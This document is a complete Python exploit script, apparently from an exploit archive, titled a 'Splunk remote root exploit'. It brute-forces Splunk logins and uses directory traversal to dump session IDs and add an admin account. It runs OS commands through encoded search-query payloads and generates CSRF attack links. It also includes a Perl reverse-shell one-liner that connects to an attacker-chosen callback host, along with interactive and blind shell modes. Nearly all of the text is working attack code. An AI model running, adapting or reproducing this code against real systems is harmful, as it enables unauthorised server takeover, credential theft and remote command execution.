1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 467 468 469 470 471 472 473 474 475 476 477 478 479 480 481 482 483 484 485 486 487 488 489 490 491 492 493 494 495 496 497 498 499 500 501 502 503 504 505 506 507 508 509 510 511 512 513 514 515 516 517 518 519 520 521 522 523 524 525 526 527 528 529 530 531 532 533 534 535 536 537 538 539 540 541 542 543 544 545 546 547 548 549 550 551 552 553 554 555 556 557 558 559 560 561 562 563 564 565 566 567 568 569 570 571 572 573 574 575 576 577 578 579 580 581 582 583 584 585 586 587 588 589 590 591 592 593 594 595 596 597 598 599 600 601 602 603 604 605 606 607 608 609 610 611 612 613 614 615 616 617 618 619 620 621 622 623 624 625 626 627 628 629 630 631 632 633 634 635 636 637 638 639 640 641 642 643 644 645 646 647 648 649 650 651 |
from sec1httplib.requestbuilder import Requestobj from sec1httplib.thread_dispatcher import * import threading import re import urlparse import sys import urllib import base64 from optparse import OptionParser import sys """ Source: http://www.sec-1.com/blog/?p=233 Splunk remote root exploit. Author: Gary O'leary-Steele @ Sec-1 Ltd Date: 5th September 2011 Release date: Private Full Package: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/18245.zip C:\git\splunk>python splunk_exploit.py -h Usage: Run splunk_exploit.py -h to see usage options Options: --versionshow program's version number and exit -h, --help show this help message and exit -t TARGETHOSTIP Address or hostname of target splunk server -c Generate CSRF URL only -w SPLUNKWEB_PORTThe Splunk admin interface port (Default: 8000) -d SPLUNKD_PORTThe Splunkd Web API port (Default: 8089) -u USERFILEFile containing usernames for use in dictionary attack -p PASSFILEFile containing passwords for use in dictionary attack -U USERNAMEAdmin username (if known) -P PASSWORDAdmin pasword (if known) ToDo: Fix bug when attemping to get home dir """ #Set this to use a proxy #Requestobj.set_proxy("127.0.0.1","8080") Requestobj.verbose = 0 misc_lock = threading.Lock() # Counter used in bruteforce class Counter(): def __init__(self): self.l = threading.Lock() def set_total(self,total): self.statictotal = total self.total = total def sub(self): with self.l: if self.total !=0: self.total = self.total - 1 def print_remaining(self): with self.l: print "[i] %s of %s remaining" % (self.total,self.statictotal) counter = Counter() def request_factory_splunkd(targeturl,username,password,splunk_object): "Factory to generate attempt_login functions" global counter def attempt_login(): # Dont continue if we already have admin if splunk_object.got_admin == 1: return False login_url = "{0}/services/auth/login".format(targeturl.rstrip()) r = Requestobj(login_url) poststr = "username={0}&password={1}".format(username.rstrip(),password.rstrip()) r.rawpostdata("POST", poststr) result = r.makerequest() counter.sub() counter.print_remaining() if result.find_data("Remote login disabled because you are using a free license"): print "[i] Free licence in use. No remote login required" print "[!] run the exploit again with the -f flag" sys.exit() if result.find_data("sessionKey"): print "[***] Cracked: %s:%s\n" % (username.rstrip(),password.rstrip()) try: if splunk_object.user_is_admin(username.rstrip(),password.rstrip()): splunk_object.username = username.rstrip() splunk_object.password = password.rstrip() splunk_object.got_admin =1 #print "ADMIN",splunk_object.got_admin splunk_object.session_key = re.findall("<sessionKey>(.+?)</sessionKey>",result.body)[0] except Exception as err: print "[i] Error getting auth details",err return (username,password) else: pass return attempt_login def request_factory_splunkweb(targeturl,username,password,cval,splunk_object): "Factory to generate attempt_login functions" global counter def attempt_login(): if splunk_object.got_admin == 1: return False login_url = "{0}/en-GB/account/login".format(targeturl.rstrip()) r = Requestobj(login_url) poststr = "cval={0}&return_to=%2Fen-GB%2F&username={1}&password={2}".format(cval,username.rstrip(),password.rstrip()) r.rawpostdata("POST", poststr) r.set_custom_cookie(copyglobaljar=1) result = r.makerequest() counter.sub() counter.print_remaining() if result.find_data("This resource can be found at"): print "[***] Cracked: %s:%s" % (username.rstrip(),password.rstrip()) try: if splunk_object.user_is_admin(username.rstrip(),password.rstrip()): splunk_object.username = username.rstrip() splunk_object.password = password.rstrip() splunk_object.got_admin =1 except Exception as err: print "[i] Error getting auth details",err return (username,password) else: pass return attempt_login class SplunkTarget(object): def __init__(self,hostaddr,splunkd_port=8089,splunkweb_port=8000): self.splunkd_port = splunkd_port self.splunkweb_port = splunkweb_port self.max_threads = 20 self.username="" self.password = "" self.session_key ="" self.splunk_home = "" self.got_admin = 0 self.web_authed = 0 # are we authed to the web interface self.freelic =0 # Check splunkd server info = Requestobj("https://{0}:{1}/services/server/info/server-info".format(hostaddr,splunkd_port)).makerequest() if info.body: self.splunkd_url = "{0}://{1}".format(urlparse.urlparse(info.url).scheme,urlparse.urlparse(info.url).netloc) else: info = Requestobj("http://{0}:{1}/services/server/info/server-info".format(hostaddr,splunkd_port)).makerequest() self.splunkd_url = "{0}://{1}".format(urlparse.urlparse(info.url).scheme,urlparse.urlparse(info.url).netloc) if "server-info" in info.body: self.splunkd =1 try: self.os_build = re.findall("os_build\">(.+?)<",info.body)[0] self.os_name = re.findall("os_name\">(.+?)<",info.body)[0] self.os_version = re.findall("os_version\">(.+?)<",info.body)[0] self.server_name = re.findall("serverName\">(.+?)<",info.body)[0] self.splunk_version = re.findall("\"version\">(.+?)<",info.body)[0] self.cpu_arch = re.findall("cpu_arch\">(.+?)<",info.body)[0] print "[i] Splunkd server found. Version:{0}".format(self.splunk_version) print "[i] OS:{0} {1} {2}".format(self.os_name,self.os_version,self.os_build) except Exception as err: print "Error getting splunk server info",err else: self.splunkd =0 # Check splunk web splunkweb_info = Requestobj("http://{0}:{1}/en-GB/account/login".format(hostaddr,splunkweb_port)).makerequest() if splunkweb_info.body: self.splunkweb_url = "{0}://{1}".format(urlparse.urlparse(splunkweb_info.url).scheme,urlparse.urlparse(splunkweb_info.url).netloc) else: splunkweb_info = Requestobj("https://{0}:{1}/en-GB/account/login".format(hostaddr,splunkweb_port)).makerequest() self.splunkweb_url = "{0}://{1}".format(urlparse.urlparse(splunkweb_info.url).scheme,urlparse.urlparse(splunkweb_info.url).netloc) if "Splunk" in splunkweb_info.body: print "[i] Splunk web interface discovered" self.splunkweb =1 self.cval="" try: self.cval = splunkweb_info.extract_data_body('name="cval" value="(\d+?)"')[0] print "[i] CVAL:{0}".format(self.cval) except: print "[i] Error getting cval" self.splunkweb =0 else: self.splunkweb =0 if self.splunkweb ==1: try: url ="{0}/en-GB/manager/system/licensing".format(self.splunkweb_url) lic = Requestobj(url).makerequest() if "<h1>Free license group</h1>" in lic.body: print "[i] Configured with free licence. No auth required" #if not self.splunkd: #print "[i] Cannot connect to splunkd using free licence" #sys.exit() self.got_admin=1 self.username="admin" self.password="admin" self.web_authed=1 self.splunkd=0 self.freelic=1 self.pop_shell() except Exception as err: print "error",err exit() def account_bruteforce(self,userfile,passfile): global counter q = ThreadDispatcher(store_return=1,max_threads=self.max_threads) for username in set(open(userfile).readlines()): for password in set(open(passfile).readlines()): if self.splunkd == 1: q.add(request_factory_splunkd(self.splunkd_url,username,password,self)) elif self.splunkweb==1: q.add(request_factory_splunkweb(self.splunkweb_url,username,password,self.cval,self)) else: print "[Error] Not connected" sys.exit() counter.set_total(len(q.call_queue)) q.start() for x in range(q.return_queue._qsize()): username, password = q.return_queue.get(x) username = username.rstrip() password = password.rstrip() print "[***] Cracked: %s:%s" % (username,password) def user_is_admin(self,username,password): if self.splunkd == 1: # attempt to auth via splunkd to get a sessionkey self.username = username self.password = password self.splunkd_auth() url = Requestobj("{0}/services/authentication/httpauth-tokens".format(self.splunkd_url)) url.basic_auth(username,password) context = url.makerequest() if '<title>httpauth-tokens' in context.body: self.got_admin =1 return True else: return False elif self.splunkweb == 1: with misc_lock: self.username = username self.password = password if self.splunkweb_auth(): admin_only = Requestobj("{0}/en-US/manager/launcher/server/settings/settings?action=edit".format(self.splunkweb_url)).makerequest() if admin_only.find_data("Port that Splunk Web uses"): print "[i] User:{0} IS AN ADMIN.".format(username) return True else: print "[i] User:{0} is not an admin".format(username) else: pass else: print "Not Connected" return False def search_payload_cmd(self,payload): "Generate a command execution payload" encoded = urllib.quote(base64.b64encode(payload)) encodedpl = """search index=_internal source=*splunkd.log |mappy x=eval("sys.modules['os'].system(base64.b64decode('%s'))")""" % encoded #print encodedpl return encodedpl def get_splunk_home(self): if not self.username or not self.password: print "[i] Valid username and password required" sys.exit() try: r = Requestobj("{0}/services/properties/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fopt%2fsplunk%2fetc%2fsplunk-launch/default/SPLUNK_HOME".format(self.splunkd_url)) r.basic_auth(self.username,self.password) splunkdir =r.makerequest() if "ERROR" not in splunkdir.body and "Remote login disabled" not in splunkdir.body and self.splunkd: self.splunk_home = splunkdir.body.strip() else: print "[***] Could not get home dir setting default.." if "windows" in self.os_name.lower(): self.splunk_home = "c:\\program files\\splunk" else: self.splunk_home = "/opt/splunk" print "Setting Splunk home dir to:{0}".format(self.splunk_home) return self.splunk_home except Exception as err: print "[i] Error occured while attempting to read splunk home dir",err def splunkd_auth(self): login_url = "{0}/services/auth/login".format(self.splunkd_url) r = Requestobj(login_url) poststr = "username={0}&password={1}".format(self.username.rstrip(),self.password.rstrip()) r.rawpostdata("POST", poststr) result = r.makerequest() if result.find_data("Remote login disabled because you are using a free license"): print "[i] Free licence in use. No remote login required" print "[!] run the exploit again with the -f flag" sys.exit() if result.find_data("sessionKey"): self.session_key = re.findall("<sessionKey>(.+?)</sessionKey>",result.body)[0] return True else: return False def splunkweb_auth(self): if self.web_authed == 1: return True login_page = Requestobj("{0}/en-GB/account/login".format(self.splunkweb_url)).makerequest() # Get session cookie cval="" cval = login_page.extract_data_body('name="cval" value="(\d+?)"') if cval: cval = cval[0] r = Requestobj(login_page.url) poststr = "cval={0}&return_to=%2Fen-GB%2F&username={1}&password={2}".format(cval,self.username.rstrip(),self.password.rstrip()) r.rawpostdata("POST", poststr) result = r.makerequest() if result.find_data("This resource can be found at"): return True self.web_authed = 1 else: print "[i] Login Failed" exit() def add_admin(self,username,password,sessionKey): # look for 201 if self.splunkd == 1 and self.username and self.password: url = Requestobj("{0}/servicesNS/-/launcher/authentication/users".format(self.splunkd_url)) url.basic_auth(self.username,self.password) url.rawpostdata("POST","roles=user&roles=admin&name={0}&defaultApp=search&password={1}&email=&createrole=0&realname=".format(username,password)) url.add_header("authorization","Splunk {0}".format(sessionKey)) result = url.makerequest() if str(result.code) == "201": return True else: return False else: print "[!] Not connected to splunkd. Check port and creds" return False def dump_session_ids(self): "Exploits dir traversal issue to dump session ids" print "[i] Attemping to dump sessions" if self.splunkd == 1 and self.username and self.password: #url = Requestobj("{0}/servicesNS/-/system/properties/..%2f..%2f..%2f..%2f..%2fopt%2fsplunk%2fvar%2flog%2fsplunk%2fweb_service.log%00/default".format(self.splunkd_url)) url = Requestobj("{0}/servicesNS/-/system/properties/..%2f..%2f..%2fvar%2flog%2fsplunk%2fweb_service.log%00/default".format(self.splunkd_url)) url.basic_auth(self.username,self.password) result = url.makerequest() sessions=[] if "session=" in result.body: print "[i] Session ID's extracted from web_service.log" sessions = re.findall("session=(.+?)[<\s]",result.body) for session in set(sessions): print "[SESSION]",session return set(sessions) def perl_revshell(self,revhost,port): cmd="""perl -e 'use Socket;$i="%s";$p=%s;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'""" % (revhost,port) self.search_exploit_cmd(cmd) def search_exploit_cmd(self,command): "Execute commands via search exploit." if self.splunkweb == 1 and self.got_admin: if self.web_authed == 0: self.splunkweb_auth() print "[i] Executing Command:{0}".format(command) attack_body = self.search_payload_cmd(command)# attack_body = urllib.quote(urllib.unquote(attack_body)) shell_req = Requestobj("{0}/en-GB/api/search/jobs".format(self.splunkweb_url)) shell_req.rawpostdata("POST","search={0}&status_buckets=300&namespace=search&ui_dispatch_app=search&ui_dispatch_view=flashtimeline&auto_cancel=100&required_field_list=*&earliest_time=&latest_time=".format(attack_body)) for c in shell_req.get_cookiejar(): if "session" in c.name: shell_req.add_header("X-Requested-With","XMLHttpRequest") shell_req.add_header("X-Splunk-Session",c.value) x = shell_req.makerequest() elif self.splunkd == 1 and self.got_admin and self.session_key: print "[i] Executing Command:{0}".format(command) attack_body = self.search_payload_cmd(command)# attack_body = urllib.quote(urllib.unquote(attack_body)) shell_req = Requestobj("{0}/servicesNS/admin/search/search/jobs".format(self.splunkd_url)) shell_req.rawpostdata("POST","ui_dispatch_app=search&search={0}&required_field_list=%2A&ui_dispatch_view=flashtimeline&max_count=10000&time_format=%25s.%25Q&latest_time=&status_buckets=300&earliest_time=&auto_cancel=100".format(attack_body)) shell_req.add_header("authorization","Splunk {0}".format(self.session_key)) x = shell_req.makerequest() else: print "Session",self.session_key print "Admin",self.got_admin print "Splunkd",self.splunkd print "[i] Exploit failed. Not connected or access denied" def blind_shell(self): command="" while 1: print command.rstrip() command=raw_input("blind_shell>")# if command.rstrip() == "exit": break self.search_exploit_cmd(command) def get_csrf_link_cmd(self,command): return "{0}/en-US/app/search/flashtimeline?q={1}&earliest=0".format(self.splunkweb_url,self.search_payload_cmd(command)) def get_csrf_link_revshell(self,revhost,port): cmd="""perl -e 'use Socket;$i="%s";$p=%s;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'""" % (revhost,port) return "{0}/en-US/app/search/flashtimeline?q={1}&earliest=0".format(self.splunkweb_url,self.search_payload_cmd(cmd)) def search_exploit_psudoshell(self): "Execute commands via search exploit. Payload implements a virtual shell" if not self.username or not self.password: print "[i] Valid username and password required" sys.exit() if not self.splunkweb == 1: print "[error] Managment Web Interface required for this payload" return "" if self.web_authed == 0: self.splunkweb_auth() base_dir = self.get_splunk_home() #if not base_dir: #print "Failed to get splunk basedir" #base_dir = "/opt/splunk" command="" while 1: print command.rstrip() command=raw_input("shell>")# if command.rstrip() == "exit": break if "windows" in self.os_name.lower(): tmp = ">\"{0}\\share\splunk\search_mrsparkle\exposed\js\.tmp\"".format(base_dir) command = command + tmp #'"'+ tmp +'"' else: tmp = ">{0}/share/splunk/search_mrsparkle/exposed/js/.tmp".format(base_dir) command = command + tmp attack_body = self.search_payload_cmd(command)# attack_body = urllib.quote(urllib.unquote(attack_body)) psudoshell_req = Requestobj("{0}/en-GB/api/search/jobs".format(self.splunkweb_url)) psudoshell_req.rawpostdata("POST","search={0}&status_buckets=300&namespace=search&ui_dispatch_app=search&ui_dispatch_view=flashtimeline&auto_cancel=100&required_field_list=*&earliest_time=&latest_time=".format(attack_body)) for c in psudoshell_req.get_cookiejar(): if "session" in c.name: psudoshell_req.add_header("X-Requested-With","XMLHttpRequest") psudoshell_req.add_header("X-Splunk-Session",c.value) x = psudoshell_req.makerequest() import time time.sleep(3) print Requestobj("{0}/en-US/static/@105575/js/.tmp".format(self.splunkweb_url)).makerequest().body def pop_shell(self): "Prompt for paylod options" "[w00p] We appear to have access. Please select a payload" print "[Payload Options]" if self.splunkweb == 1: print "[1]\tPseudo Interactive Shell" else: print "[DISABLED]\tPseudo Interactive Shell" print "[2]\tPerl Reverse Shell" print "[3]\tCommand Exec (Blind)" option = input("Please select option 1-3:") if option == 1: self.search_exploit_psudoshell() elif option ==2: rev_host = raw_input("Enter Callback Host:") rev_port = raw_input("Enter Callback Port:") self.perl_revshell(rev_host,rev_port) elif option ==3: self.blind_shell() else: print "Invalid option" exit() def main(): banner = "-----==[Slunk Remote Root Exploit]=-----\n" parser = OptionParser(usage="Run %prog -h to see usage options", version="%prog 1.0") parser.add_option("-t", action="store", dest="targethost", help="IP Address or hostname of target splunk server") parser.add_option("-c", action="store_true", # optional because action defaults to "store" dest="csrf", help="Generate CSRF URL only") parser.add_option("-f", action="store_true", # optional because action defaults to "store" dest="free_lic_noauth", help="Target is configured to use a Free licence and does not permit remote auth") parser.add_option("-w", action="store", # optional because action defaults to "store" dest="splunkweb_port", default=8000, help="The Splunk admin interface port (Default: 8000)") parser.add_option("-d", action="store", # optional because action defaults to "store" dest="splunkd_port", default=8089, help="The Splunkd Web API port (Default: 8089)") parser.add_option("-u", action="store", # optional because action defaults to "store" dest="userfile", help="File containing usernames for use in dictionary attack") parser.add_option("-p", action="store", # optional because action defaults to "store" dest="passfile", help="File containing passwords for use in dictionary attack") parser.add_option("-U", action="store", # optional because action defaults to "store" dest="username", help="Admin username (if known)") parser.add_option("-P", action="store", # optional because action defaults to "store" dest="password", help="Admin pasword (if known)") parser.add_option("-e", action="store", # optional because action defaults to "store" dest="userpair", help="Attempt to add admin user via priv up directory traversal magic. Accepts username:password") (options, args) = parser.parse_args() if not options.targethost: parser.error("Target host required") exit() elif options.targethost and options.free_lic_noauth: x = SplunkTarget(options.targethost,splunkweb_port=options.splunkweb_port,splunkd_port=options.splunkd_port) x.username="admin" x.password="admin" x.got_admin=1 x.splunkd = 0 x.pop_shell() elif options.targethost and options.csrf: x = SplunkTarget(options.targethost,splunkweb_port=options.splunkweb_port,splunkd_port=options.splunkd_port) print "[*] Enter command to run or enter 'revshell' for a perl reverse shell:" option = raw_input("cmd>") if option =="revshell": rev_host = raw_input("Enter Callback Host:") rev_port = raw_input("Enter Callback Port:") x.perl_revshell(rev_host,rev_port) print x.get_csrf_link_revshell(rev_host,rev_port) else: print x.get_csrf_link_cmd(option.strip()) elif options.targethost and options.username and options.password and options.userpair: print "[i] Attemping priv up" if ":" in options.userpair: username,password = options.userpair.split(":") else: print "-e requires username password pair in format username:password" x = SplunkTarget(options.targethost,splunkweb_port=options.splunkweb_port,splunkd_port=options.splunkd_port) x.username= options.username x.password = options.password x.splunkd = 1 import time while 1: sessionids= x.dump_session_ids() for session in sessionids: if x.add_admin(username,password,session): print "[i] User Added" exit() time.sleep(2) elif options.targethost and options.username and options.password: print "[i] Using static username and password" x = SplunkTarget(options.targethost,splunkweb_port=options.splunkweb_port,splunkd_port=options.splunkd_port) x.username= options.username x.password = options.password if x.user_is_admin(options.username,options.password): x.pop_shell() elif options.targethost and options.userfile and options.passfile: print "[i] Lauching bruteforce attack" x = SplunkTarget(options.targethost,splunkweb_port=options.splunkweb_port,splunkd_port=options.splunkd_port) x.account_bruteforce(options.userfile,options.passfile) if x.got_admin ==1: x.pop_shell() else: print "Please ensure you have supplied either a username and password or a user and password file to bruteforce" exit() if __name__ == '__main__': main() |